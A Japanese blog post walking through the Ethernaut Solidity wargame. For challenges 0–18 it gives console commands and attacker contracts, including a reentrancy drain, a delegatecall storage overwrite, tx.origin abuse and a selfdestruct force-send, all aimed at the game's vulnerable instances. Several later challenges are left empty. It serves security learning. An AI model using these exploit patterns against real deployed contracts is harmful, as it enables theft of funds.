4
7

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

【Solidity】Ethernaut 全22問解いてみる(随時更新)

Last updated at Posted at 2021-09-14

目次

はじめに

Solidityの進化が早すぎて先人たちの回答が全く役に立たなくなりつつあったので、自分でもまとめておく。(随時更新)

環境

  • macOS v11.5.2
  • Solidity v0.8.4
  • Truffle v5.3.14

コードブロックの種類

Ethernaut
// Ethernautページのコンソール上で実行するJavaScriptコード
Attacker.sol
// ハッキング用コントラクトのSolidityコード
TruffleConsole
// Truffle console上で実行するJavaScriptコード

Ethernautの基本的な進め方

  1. "Get new instance"ボタンで自分用のインスタンスを用意
  2. コンソール上か自分でデプロイしたコントラクト経由でインスタンスを操作
  3. 要求されたタスクが完了したら"Submit instance"ボタンでクリアしているかを確認

0. Hello Ethernaut

お題
コンソール上でinfo()から順に関数実行。
各関数の返り値で次にやることが示される。

Ethernaut
await contract.info();
await contract.info1();
await contract.info2("hello");
await contract.infoNum().then(n => n.toNumber());
await contract.info42();
await contract.theMethodName();
await contract.method7123949();
await contract.password();
await contract.authenticate("ethernaut0");

solidyコードを読み解けば、最後の2行だけでもクリアできることが分かる。

1. Fallback

お題

  1. コントラクトのオーナーになる
  2. コントラクトのbalanceを0にする
Ethernaut
// contributeする (ここでは1wei)
await contract.getContribution().then(n => n.toNumber()); // 0
await contract.contribute({value: 1});
await contract.getContribution().then(n => n.toNumber()); // 1

// オーナーになる
// receive()関数はsendTransaction()で呼び出す
await contract.owner(); // not your address
await contract.sendTransaction({value: 1});
await contract.owner(); // your address

// balanceを引き出す
await getBalance(contract.address); // not 0
await contract.withdraw();
await getBalance(contract.address); // 0

2. Fallout

お題:コントラクトのオーナーになる。
方針:コンストラクタが誤字っているのでそこをつく。
メモ:Solidity v0.4.22以降はコンストラクタはconstructor()で統一すること。

Ethernaut
await contract.Fal1out();

3. Coin Flip

お題:10回連続でコイントスの結果を当てる。
方針:flip()と同じ処理を事前に行ってトス結果を得る。
メモ:Solidity v0.8以降はSafeMathは必要ない。

コントラクト経由で操作
<your instance address>の部分は各自変更

Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

abstract contract CoinFlip {
    function flip(bool _guess) public virtual returns (bool);
}

contract Attacker {
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function attack(address targetAddr) external {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        if (lastHash == blockValue) {
            revert();
        }
        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        CoinFlip(targetAddr).flip(side);
    }
}

Rinkebyにコントラクトをデプロイ後、truffle console上で以下を10回実行

TruffleConsole
Attacker.deployed().then(c => c.attack('<your instance address>'));

4. Telephone

お題:コントラクトのオーナーになる。
方針:コントラクト経由でchangeOwner()を実行。
メモtx.originは一連の処理の発端となったアドレス、msg.senderは関数の実行元アドレス。コントラクト経由でchangeOwner()を実行した場合、tx.originはあなたのアドレス、msg.senderはコントラクトのアドレスになる。

Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

abstract contract Telephone {
    function changeOwner(address _owner) public virtual;
}

contract Attacker {
    function attack(address targetAddr) external {
        Telephone(targetAddr).changeOwner(msg.sender);
    }
}
TruffleConsole
Attacker.deployed().then(c => c.attack('<your instance address>'));

5. Token

お題:最初に与えられた20トークンよりも多くのトークンを手に入れる。
方針:Solidity v0.6.0(< 0.8)なのにSafeMathを使用していないので、require()部分でアンダーフローを引き起こせる。

Ethernaut
await contract.balanceOf(player).then(n => n.toNumber()); // 20

// 引数_toにはplayer以外のアドレスを渡す。
// (playerを渡した場合、自分のbalanceから_valueを引いた後、自分のbalanceに_valueを足すことになるので、balance値が変わらない。)
// アンダーフローを引き起こすために引数_valueには現在のbalanceより大きい値を渡す。
await contract.transfer(contract.address, 21);

// 値が大きすぎて toNumber() では処理できないので、toString() を使用する。
await contract.balanceOf(player).then(n => n.toString()); // "11579208923731619..."

6. Delegation

お題Delegationコントラクトのオーナーになる。
方針Delegation.fallback()からDelegate.pwn()を実行させる。
メモ:コントラクト経由で以下と同じことをしても、オーナーがコントラクトのアドレスになってしまうのでクリアできない。

Ethernaut
contract.sendTransaction({data:web3.utils.sha3("pwn()")})

7. Force

お題:コントラクトの残高を0より大きくする。
方針selfdestruct()を利用して強制的にethを送りつける。
メモ:Solidity v0.5.0以降、address型とaddress payable型は区別される。

Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract Attacker {
    receive() external payable {}

    function attack(address payable targetAddr) external {
        selfdestruct(targetAddr);
    }
}
TruffleConsole
a = await Attacker.deployed();
a.sendTransaction({value:1}); // Attackerコントラクトに1wei送信
a.attack('<your instance address>'); // Forceコントラクトに1wei送信
Ethernaut
await getBalance(contract.address); // "0.000000000000000001"

8. Vault

お題:Vaultコントラクトのロックを解除する。
方針web3.eth.getStorageAt()を利用してprivate変数を調べる。
メモ:private変数は他のコントラクトからアクセスできないだけで、第三者から値を見られないわけではない。パスワードを利用する場合は、パスワードをハッシュ化した値をBC上に保存し、認証時はその値と"引数で受け取った値のハッシュ値"を比較するとよい。

Ethernaut
// passwordを調べる
let hexPassword = await web3.eth.getStorageAt(contract.address, 1);
web3.utils.hexToAscii(hexPassword); // "A very strong secret password :)"

// ロック解除
await contract.unlock(hexPassword);
await contract.locked(); // false

9. King

お題:自分がkingになり、その後kingが更新されないようにする。
方針recieve() payablefallback() payableを実装していないコントラクトが一度kingになると、次回以降のking.transfer(msg.value);でエラーになるため、永遠にkingが入れ替わらなくなる。

Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract Attacker {
    function attack(address payable targetAddr) external payable {
        (bool sent, ) = targetAddr.call{value: msg.value}("");
        require(sent, "Failed to send Ether");
    }
}
Ethernaut
// prize値を確認
await contract.prize().then(n => n.toString());
TruffleConsole
// 確認したprize値以上のetherを送信する
let a = await Attacker.deployed();
a.attack('<your instance address>', {value: 1000000000000000000});
Ethernaut
// kingを確認
await contract._king();

10. Re-entrancy

お題:Reentranceコントラクトのbalanceを0にする。
方針balances[msg.sender] -= _amount;よりもcall{value:_amount}("");が先に実行されるため、call{value:_amount}("");の実行時に呼ばれるreceive()の中でwithdraw()を再帰的に呼び出す。
メモcall{value:_amount}("");の実行時、receive()がない場合はfallback() payableが呼び出される。DAOハックの手口。

Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

abstract contract Reentrance {
    function donate(address _to) public payable virtual;

    function withdraw(uint256 _amount) public virtual;
}

contract Attacker {
    uint256 donatedValue;
    Reentrance reentrance;

    receive() external payable {
        reentrance.withdraw(donatedValue);
    }

    function attack(address targetAddr) external payable {
        donatedValue = msg.value;
        reentrance = Reentrance(targetAddr);
        reentrance.donate{value: donatedValue}(address(this));
        reentrance.withdraw(donatedValue);
    }
}
TruffleConsole
let a = await Attacker.deployed();
a.attack('<your instance address>', {value: web3.utils.toWei('0.1', 'ether')});
Ethernaut
// Reentranceコントラクトのbalanceを確認
await getBalance(contract.address);

11. Elevator

お題:エレベータを最上階まで上げる。(パブリック変数topをtrueにする。)
方針:1回目はfalse、2回目はtrueを返すようなfunction isLastFloor(uint) external returns (bool);を実装する。

Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

abstract contract Elevator {
    function goTo(uint256 _floor) public virtual;
}

contract Attacker {
    bool lastValue = true;

    function isLastFloor(uint256) external returns (bool) {
        lastValue = !lastValue;
        return lastValue;
    }

    function attack(address targetAddr, uint256 _floor) external {
        Elevator(targetAddr).goTo(_floor);
    }
}
TruffleConsole
let a = await Attacker.deployed();
a.attack('<your instance address>', 10);
Ethernaut
await contract.floor().then(n => n.toNumber()); // false
await contract.top(); // true

12. Privacy

お題:Privacyコントラクトのロックを解除する。
方針web3.eth.getStorageAt()data[2]の値を調べる。
メモ:1ストレージスロットは32byte。32byte未満の変数が連続する場合、可能な限り同じスロットにまとめて格納される。1byteは16進数で2文字なので、各スロット2×32=64文字で表される。(冒頭の"0x"は除く)

data[2]の値を調べる。

Ethernaut
await web3.eth.getStorageAt(contract.address, 0);
// "0x0000000000000000000000000000000000000000000000000000000000000001"
// locked (true -> "1")

await web3.eth.getStorageAt(contract.address, 1);
// "0x0000000000000000000000000000000000000000000000000000000061339123"
// ID (block.timestamp -> "000...00061339123")

await web3.eth.getStorageAt(contract.address, 2);
// "0x000000000000000000000000000000000000000000000000000000009123ff0a"
// flattening (10 -> "0a")
// denomination (255 -> "ff")
// awkwardness (uint16(now) -> "9123")

await web3.eth.getStorageAt(contract.address, 3);
// "0x33679469438abb4084e84611a0b0636dbd605a9c2e4afde592bfa6f12a25fff8"
// data[0]

await web3.eth.getStorageAt(contract.address, 4);
// "0x57f8ace739af7c68415b07b53704e93a3b8c7eef6923ccef4aade2cd061a7721"
// data[1]

await web3.eth.getStorageAt(contract.address, 5);
// "0x2c4c32455f538a9d485e0275d6761e9bc0dc8c5a77bd0ab981d414adbf031104"
// data[2]

ロック解除

Ethernaut
// data[2]をbytes16にキャストしているので、data[2]の前半32文字分を引数にする。
await contract.unlock('0x2c4c32455f538a9d485e0275d6761e9b');
await contract.locked(); // false

13. Gatekeeper One

お題:ゲートをくぐり抜けてentrantに登録する。

14. Gatekeeper Two

お題:ゲートをくぐり抜けてentrantに登録する。

方針

gateOne

コントラクト経由で実行すれば良い。

gateTwo

extcodesize(caller())は呼び出し元(msg.sender)のコードサイズを取得する。
コントラクトノードはコードを所持しているので基本的には0にならないが、コントラクトを完全にデプロイする前、つまり、constructor()の中で実行することで0にすることができる。

gateThree

^はXORをとる演算子。uint64(0) - 1は2進数表記にすると全て1になる値。
つまり、uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) と uint64(_gateKey)は2進数表記にしたときに、全ての桁の値が異なっている必要がある。
これを満たす_gateKeyを求めるには、bytes8(keccak256(abi.encodePacked(msg.sender)))のNOTを取れば良い。NOT演算子は~

Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

abstract contract GatekeeperTwo {
    function enter(bytes8 _gateKey) public virtual returns (bool);
}

contract Attacker {
    constructor(address targetAddr) {
        bytes8 _gateKey = ~bytes8(keccak256(abi.encodePacked(address(this))));
        GatekeeperTwo(targetAddr).enter(_gateKey);
    }
}

15. Naught Coin

お題:自分のNaughtCoin残高を0にする。
方針approve()&transferFrom()で送金する。
メモ:ERC20の送金方法はtransfer()approve()&transferFrom()の2種類がある。

Ethernaut
let amount = await contract.balanceOf(player);
await contract.approve(player, amount);
await contract.transferFrom(player, contract.address, amount);

16. Preservation

お題Preservationコントラクトのオーナーになる。
方針delegateCall()の呼び出し元と呼び出し先の変数定義(数/順番)が異なるので、そこをつく。

  1. setSecondTime()timeZone1Libraryプロパティの値を自分でデプロイしたコントラクトアドレスに変更
  2. setFirstTime()で自分のコントラクトに実装したsetTime()を実行させ、ownerプロパティを上書きする。

メモdelegateCall()で書き換えられる値は、変数名ではなくストレージ上の場所でマッチングされる。予期せぬ動作を防ぐため、状態変数を操作する際はライブラリを使用すると良い。

Ethernaut
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

abstract contract Preservation {
    function setFirstTime(uint256 _timeStamp) public virtual;

    function setSecondTime(uint256 _timeStamp) public virtual;
}

contract Attacker {
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;

    function setTime(uint256) public {
        owner = tx.origin;
    }

    function attack(address targetAddr) external {
        uint256 _timeStamp = uint256(uint160(address(this)));
        Preservation(targetAddr).setSecondTime(_timeStamp);
    }
}
Attacker.sol
await Attacker.deployed().then(a => a.attack('<your instance address>'));
TruffleConsole
await contract.timeZone1Library(); // 自分でデプロイしたコントラクトのアドレスになっていることを確認
await contract.setFirstTime(0); // 引数はuintなら何でもいい
await contract.owner(); // 自分のアドレスになっていることを確認

17. Recovery

お題:失われたethを取り戻せ(別のアドレスに移せ)
方針:EtherscanでターゲットとなるSimpleTokenコントラクトのアドレスを調べ、selfdestruct()を実行させる。

ターゲットアドレスの見つけ方

  1. Etherscan(Rinkeby)でインスタンスアドレスを検索
    sceenshot_1.jpg

  2. "Creator Txn Hash"をクリック
    sceenshot_2.jpg

  3. 0.5Etherの送金先アドレスをクリック
    sceenshot_3.jpg

  4. アドレスをコピー
    sceenshot_4.jpg

Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

abstract contract SimpleToken {
    function destroy(address payable _to) public virtual;
}

contract Attacker {
    function attack(address targetAddr) external {
        SimpleToken(targetAddr).destroy(payable(msg.sender));
    }
}
TruffleConsole
await Attacker.deployed().then(a => a.attack('<target address>'));

18. MagicNumber

お題:10opcode以内で42を返すコントラクトを作る。
方針:bytescode
メモ

参考

bytescode

19. Alien Codex

20. Denial

22. Dex

4
7
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
7

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?